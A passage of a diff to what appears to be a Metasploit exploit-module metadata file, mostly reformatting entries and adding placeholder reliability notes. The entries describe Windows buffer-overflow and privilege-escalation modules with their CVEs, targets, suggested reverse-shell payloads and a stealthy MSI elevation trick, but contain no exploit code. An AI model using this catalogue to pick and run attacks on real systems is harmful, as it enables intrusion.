digit-labs.org).", "references": [ "CVE-2007-1373", "EDB-3418" @@ -177084,16 +182188,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mercury_login.rb", "is_install_path": true, "ref_name": "windows/imap/mercury_login", @@ -177101,6 +182201,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177108,16 +182217,14 @@ "exploit_windows/imap/mercury_rename": { "name": "Mercury/32 v4.01a IMAP RENAME Buffer Overflow", "fullname": "exploit/windows/imap/mercury_rename", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-29", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow vulnerability in the\n Mercury/32 v.4.01a IMAP service.", + "description": "This module exploits a stack buffer overflow vulnerability in the\n Mercury/32 v.4.01a IMAP service.", "references": [ "CVE-2004-1211", "OSVDB-12508", @@ -177127,19 +182234,15 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP4 English", "Windows XP Pro SP0 English", "Windows XP Pro SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mercury_rename.rb", "is_install_path": true, "ref_name": "windows/imap/mercury_rename", @@ -177147,6 +182250,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177154,16 +182266,14 @@ "exploit_windows/imap/novell_netmail_append": { "name": "Novell NetMail IMAP APPEND Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_append", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-12-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", + "description": "This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", "references": [ "CVE-2006-6425", "OSVDB-31362", @@ -177173,16 +182283,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/novell_netmail_append.rb", "is_install_path": true, "ref_name": "windows/imap/novell_netmail_append", @@ -177190,6 +182296,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177197,32 +182312,26 @@ "exploit_windows/imap/novell_netmail_auth": { "name": "Novell NetMail IMAP AUTHENTICATE Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_auth", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-01-07", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE\n GSSAPI command. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp\n or windows/shell_reverse_tcp allows for the most reliable results.", + "description": "This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE\n GSSAPI command. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp\n or windows/shell_reverse_tcp allows for the most reliable results.", "references": [ "OSVDB-55175" ], "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/novell_netmail_auth.rb", "is_install_path": true, "ref_name": "windows/imap/novell_netmail_auth", @@ -177230,6 +182339,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177237,16 +182355,14 @@ "exploit_windows/imap/novell_netmail_status": { "name": "Novell NetMail IMAP STATUS Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_status", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-11-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", + "description": "This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", "references": [ "CVE-2005-3314", "OSVDB-20956", @@ -177255,16 +182371,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/novell_netmail_status.rb", "is_install_path": true, "ref_name": "windows/imap/novell_netmail_status", @@ -177272,6 +182384,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177279,16 +182400,14 @@ "exploit_windows/imap/novell_netmail_subscribe": { "name": "Novell NetMail IMAP SUBSCRIBE Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_subscribe", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-12-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", + "description": "This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", "references": [ "CVE-2006-6761", "OSVDB-31360", @@ -177298,16 +182417,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/novell_netmail_subscribe.rb", "is_install_path": true, "ref_name": "windows/imap/novell_netmail_subscribe", @@ -177315,6 +182430,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177322,16 +182446,14 @@ "exploit_windows/isapi/ms00_094_pbserver": { "name": "MS00-094 Microsoft IIS Phone Book Service Overflow", "fullname": "exploit/windows/isapi/ms00_094_pbserver", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2000-12-04", "type": "exploit", "author": [ "aushack " ], - "description": "This is an exploit for the Phone Book Service /pbserver/pbserver.dll\n described in MS00-094. By sending an overly long URL argument\n for phone book updates, it is possible to overwrite the stack. This\n module has only been tested against Windows 2000 SP1.", + "description": "This is an exploit for the Phone Book Service /pbserver/pbserver.dll\n described in MS00-094. By sending an overly long URL argument\n for phone book updates, it is possible to overwrite the stack. This\n module has only been tested against Windows 2000 SP1.", "references": [ "CVE-2000-1089", "OSVDB-463", @@ -177361,7 +182483,7 @@ "Windows 2000 SP0", "Windows NT SP6" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/isapi/ms00_094_pbserver.rb", "is_install_path": true, "ref_name": "windows/isapi/ms00_094_pbserver", @@ -177369,6 +182491,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177376,16 +182507,14 @@ "exploit_windows/isapi/ms03_022_nsiislog_post": { "name": "MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow", "fullname": "exploit/windows/isapi/ms03_022_nsiislog_post", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-06-25", "type": "exploit", "author": [ "hdm " ], - "description": "This exploits a buffer overflow found in the nsiislog.dll\n ISAPI filter that comes with Windows Media Server. This\n module will also work against the 'patched' MS03-019\n version. This vulnerability was addressed by MS03-022.", + "description": "This exploits a buffer overflow found in the nsiislog.dll\n ISAPI filter that comes with Windows Media Server. This\n module will also work against the 'patched' MS03-019\n version. This vulnerability was addressed by MS03-022.", "references": [ "CVE-2003-0349", "OSVDB-4535", @@ -177417,7 +182546,7 @@ "Windows 2000 +MS03-019", "Windows XP -MS03-019" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb", "is_install_path": true, "ref_name": "windows/isapi/ms03_022_nsiislog_post", @@ -177425,6 +182554,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177432,16 +182570,14 @@ "exploit_windows/isapi/ms03_051_fp30reg_chunked": { "name": "MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow", "fullname": "exploit/windows/isapi/ms03_051_fp30reg_chunked", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-11-11", "type": "exploit", "author": [ "hdm " ], - "description": "This is an exploit for the chunked encoding buffer overflow\n described in MS03-051 and originally reported by Brett\n Moore. This particular modules works against versions of\n Windows 2000 between SP0 and SP3. Service Pack 4 fixes the\n issue.", + "description": "This is an exploit for the chunked encoding buffer overflow\n described in MS03-051 and originally reported by Brett\n Moore. This particular modules works against versions of\n Windows 2000 between SP0 and SP3. Service Pack 4 fixes the\n issue.", "references": [ "CVE-2003-0822", "OSVDB-2952", @@ -177471,7 +182607,7 @@ "Windows 2000 07/22/02", "Windows 2000 10/06/99" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb", "is_install_path": true, "ref_name": "windows/isapi/ms03_051_fp30reg_chunked", @@ -177479,6 +182615,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177486,16 +182631,14 @@ "exploit_windows/isapi/rsa_webagent_redirect": { "name": "Microsoft IIS ISAPI RSA WebAgent Redirect Overflow", "fullname": "exploit/windows/isapi/rsa_webagent_redirect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-10-21", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the SecurID Web\n Agent for IIS. This ISAPI filter runs in-process with\n inetinfo.exe, any attempt to exploit this flaw will result\n in the termination and potential restart of the IIS service.", + "description": "This module exploits a stack buffer overflow in the SecurID Web\n Agent for IIS. This ISAPI filter runs in-process with\n inetinfo.exe, any attempt to exploit this flaw will result\n in the termination and potential restart of the IIS service.", "references": [ "CVE-2005-4734", "OSVDB-20151" @@ -177530,7 +182673,7 @@ "RSA WebAgent 5.2 on Windows 2003 English SP0", "RSA WebAgent 5.3 on Windows 2003 English SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/isapi/rsa_webagent_redirect.rb", "is_install_path": true, "ref_name": "windows/isapi/rsa_webagent_redirect", @@ -177538,6 +182681,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177545,16 +182697,14 @@ "exploit_windows/isapi/w3who_query": { "name": "Microsoft IIS ISAPI w3who.dll Query String Overflow", "fullname": "exploit/windows/isapi/w3who_query", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-12-06", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the w3who.dll ISAPI\n application. This vulnerability was discovered Nicolas\n Gregoire and this code has been successfully tested against\n Windows 2000 and Windows XP (SP2). When exploiting Windows\n XP, the payload must call RevertToSelf before it will be\n able to spawn a command shell.", + "description": "This module exploits a stack buffer overflow in the w3who.dll ISAPI\n application. This vulnerability was discovered Nicolas\n Gregoire and this code has been successfully tested against\n Windows 2000 and Windows XP (SP2). When exploiting Windows\n XP, the payload must call RevertToSelf before it will be\n able to spawn a command shell.", "references": [ "CVE-2004-1134", "OSVDB-12258", @@ -177584,7 +182734,7 @@ "Windows 2000 RESKIT DLL [Windows 2000]", "Windows 2000 RESKIT DLL [Windows XP]" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/isapi/w3who_query.rb", "is_install_path": true, "ref_name": "windows/isapi/w3who_query", @@ -177592,6 +182742,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177599,16 +182758,14 @@ "exploit_windows/ldap/imail_thc": { "name": "IMail LDAP Service Buffer Overflow", "fullname": "exploit/windows/ldap/imail_thc", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-02-17", "type": "exploit", "author": [ "hdm " ], - "description": "This exploits a buffer overflow in the LDAP service that is\n part of the IMail product. This module was tested against\n version 7.10 and 8.5, both running on Windows 2000.", + "description": "This exploits a buffer overflow in the LDAP service that is\n part of the IMail product. This module was tested against\n version 7.10 and 8.5, both running on Windows 2000.", "references": [ "CVE-2004-0297", "OSVDB-3984", @@ -177618,17 +182775,13 @@ "platform": "Windows", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English", "Windows 2000 IMail 8.x" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ldap/imail_thc.rb", "is_install_path": true, "ref_name": "windows/ldap/imail_thc", @@ -177636,6 +182789,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177643,9 +182805,7 @@ "exploit_windows/ldap/pgp_keyserver7": { "name": "Network Associates PGP KeyServer 7 LDAP Buffer Overflow", "fullname": "exploit/windows/ldap/pgp_keyserver7", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-07-16", "type": "exploit", @@ -177657,21 +182817,19 @@ "CVE-2001-1320", "OSVDB-4742", "BID-3046", - "URL-http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/" + "URL-http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/", + "ATT&CK-T1059", + "ATT&CK-T1068" ], "platform": "Windows", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal PGPcertd.exe" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/ldap/pgp_keyserver7.rb", "is_install_path": true, "ref_name": "windows/ldap/pgp_keyserver7", @@ -177679,6 +182837,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177686,9 +182853,7 @@ "exploit_windows/license/calicclnt_getconfig": { "name": "Computer Associates License Client GETCONFIG Overflow", "fullname": "exploit/windows/license/calicclnt_getconfig", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-02", "type": "exploit", @@ -177696,7 +182861,7 @@ "hdm ", "aushack " ], - "description": "This module exploits a vulnerability in the CA License Client\n service. This exploit will only work if your IP address can be\n resolved from the target system point of view. This can be\n accomplished on a local network by running the 'nmbd' service\n that comes with Samba. If you are running this exploit from\n Windows and do not filter udp port 137, this should not be a\n problem (if the target is on the same network segment). Due to\n the bugginess of the software, you are only allowed one connection\n to the agent port before it starts ignoring you. If it wasn't for this\n issue, it would be possible to repeatedly exploit this bug.", + "description": "This module exploits a vulnerability in the CA License Client\n service. This exploit will only work if your IP address can be\n resolved from the target system point of view. This can be\n accomplished on a local network by running the 'nmbd' service\n that comes with Samba. If you are running this exploit from\n Windows and do not filter udp port 137, this should not be a\n problem (if the target is on the same network segment). Due to\n the bugginess of the software, you are only allowed one connection\n to the agent port before it starts ignoring you. If it wasn't for this\n issue, it would be possible to repeatedly exploit this bug.", "references": [ "CVE-2005-0581", "OSVDB-14389", @@ -177706,12 +182871,8 @@ "platform": "Windows", "arch": "", "rport": 10203, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English", @@ -177719,7 +182880,7 @@ "Windows XP English SP2", "Windows 2003 English SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/license/calicclnt_getconfig.rb", "is_install_path": true, "ref_name": "windows/license/calicclnt_getconfig", @@ -177727,6 +182888,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177734,9 +182904,7 @@ "exploit_windows/license/calicserv_getconfig": { "name": "Computer Associates License Server GETCONFIG Overflow", "fullname": "exploit/windows/license/calicserv_getconfig", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-03-02", "type": "exploit", @@ -177744,7 +182912,7 @@ "hdm ", "aushack " ], - "description": "This module exploits an vulnerability in the CA License Server\n network service. By sending an excessively long GETCONFIG\n packet the stack may be overwritten.", + "description": "This module exploits an vulnerability in the CA License Server\n network service. By sending an excessively long GETCONFIG\n packet the stack may be overwritten.", "references": [ "CVE-2005-0581", "OSVDB-14389", @@ -177754,12 +182922,8 @@ "platform": "Windows", "arch": "", "rport": 10202, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English", @@ -177767,7 +182931,7 @@ "Windows XP English SP2", "Windows 2003 English SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/license/calicserv_getconfig.rb", "is_install_path": true, "ref_name": "windows/license/calicserv_getconfig", @@ -177775,6 +182939,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177782,9 +182955,7 @@ "exploit_windows/license/flexnet_lmgrd_bof": { "name": "FlexNet License Server Manager lmgrd Buffer Overflow", "fullname": "exploit/windows/license/flexnet_lmgrd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-23", "type": "exploit", @@ -177794,7 +182965,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a vulnerability in the FlexNet\n License Server Manager.\n\n The vulnerability is due to the insecure usage of memcpy\n in the lmgrd service when handling network packets, which\n results in a stack buffer overflow.\n\n In order to improve reliability, this module will make lots of\n connections to lmgrd during each attempt to maximize its success.", + "description": "This module exploits a vulnerability in the FlexNet\n License Server Manager.\n\n The vulnerability is due to the insecure usage of memcpy\n in the lmgrd service when handling network packets, which\n results in a stack buffer overflow.\n\n In order to improve reliability, this module will make lots of\n connections to lmgrd during each attempt to maximize its success.", "references": [ "OSVDB-81899", "BID-52718", @@ -177805,19 +182976,15 @@ "platform": "Windows", "arch": "", "rport": 27000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Debug", "Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3", "Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3", "Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/license/flexnet_lmgrd_bof.rb", "is_install_path": true, "ref_name": "windows/license/flexnet_lmgrd_bof", @@ -177825,6 +182992,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177832,16 +183008,14 @@ "exploit_windows/license/sentinel_lm7_udp": { "name": "SentinelLM UDP Buffer Overflow", "fullname": "exploit/windows/license/sentinel_lm7_udp", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-07", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a simple stack buffer overflow in the Sentinel\n License Manager. The SentinelLM service is installed with a\n wide selection of products and seems particular popular with\n academic products. If the wrong target value is selected,\n the service will crash and not restart.", + "description": "This module exploits a simple stack buffer overflow in the Sentinel\n License Manager. The SentinelLM service is installed with a\n wide selection of products and seems particular popular with\n academic products. If the wrong target value is selected,\n the service will crash and not restart.", "references": [ "CVE-2005-0353", "OSVDB-14605", @@ -177850,12 +183024,8 @@ "platform": "Windows", "arch": "", "rport": 5093, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6", @@ -177864,7 +183034,7 @@ "SentinelLM 7.2.0.0 Windows XP English SP0/SP1", "SentinelLM 7.2.0.0 Windows 2003 English SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/license/sentinel_lm7_udp.rb", "is_install_path": true, "ref_name": "windows/license/sentinel_lm7_udp", @@ -177872,6 +183042,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177879,9 +183058,7 @@ "exploit_windows/local/adobe_sandbox_adobecollabsync": { "name": "AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass", "fullname": "exploit/windows/local/adobe_sandbox_adobecollabsync", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-05-14", "type": "exploit", @@ -177898,16 +183075,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader X 10.1.4 / Windows 7 SP1" ], - "mod_time": "2022-12-04 17:41:24 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb", "is_install_path": true, "ref_name": "windows/local/adobe_sandbox_adobecollabsync", @@ -177915,21 +183088,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/agnitum_outpost_acs": { "name": "Agnitum Outpost Internet Security Local Privilege Escalation", "fullname": "exploit/windows/local/agnitum_outpost_acs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-02", "type": "exploit", @@ -177945,16 +183123,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Agnitum Outpost Internet Security 8.1" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/agnitum_outpost_acs.rb", "is_install_path": true, "ref_name": "windows/local/agnitum_outpost_acs", @@ -177962,21 +183136,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/alpc_taskscheduler": { "name": "Microsoft Windows ALPC Task Scheduler Local Privilege Elevation", "fullname": "exploit/windows/local/alpc_taskscheduler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-08-27", "type": "exploit", @@ -177994,16 +183173,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/alpc_taskscheduler.rb", "is_install_path": true, "ref_name": "windows/local/alpc_taskscheduler", @@ -178016,22 +183191,21 @@ ], "Reliability": [ "repeatable-session" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/always_install_elevated": { "name": "Windows AlwaysInstallElevated MSI", "fullname": "exploit/windows/local/always_install_elevated", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-18", "type": "exploit", @@ -178039,7 +183213,7 @@ "Ben Campbell ", "Parvez Anwar" ], - "description": "This module checks the AlwaysInstallElevated registry keys which dictates if\n .MSI files should be installed with elevated privileges (NT AUTHORITY\\SYSTEM).\n The generated .MSI file has an embedded executable which is extracted and run\n by the installer. After execution the .MSI file intentionally fails installation\n (by calling some invalid VBS) to prevent it being registered on the system.\n By running this with the /quiet argument the error will not be seen by the user.", + "description": "This module checks the AlwaysInstallElevated registry keys which dictates if\n .MSI files should be installed with elevated privileges (NT AUTHORITY\\SYSTEM).\n The generated .MSI file has an embedded executable which is extracted and run\n by the installer. After execution the .MSI file intentionally fails installation\n (by calling some invalid VBS) to prevent it being registered on the system.\n By running this with the /quiet argument the error will not be seen by the user.", "references": [ "URL-http://www.greyhathacker.net/?p=185", "URL-http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx", @@ -178048,16 +183222,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/always_install_elevated.rb", "is_install_path": true, "ref_name": "windows/local/always_install_elevated", @@ -178065,21 +183235,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/anyconnect_lpe": { "name": "Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)", "fullname": "exploit/windows/local/anyconnect_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-08-05", "type": "exploit", @@ -178099,12 +183274,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86/x64 with x86 payload" ], @@ -178130,16 +183301,12 @@ 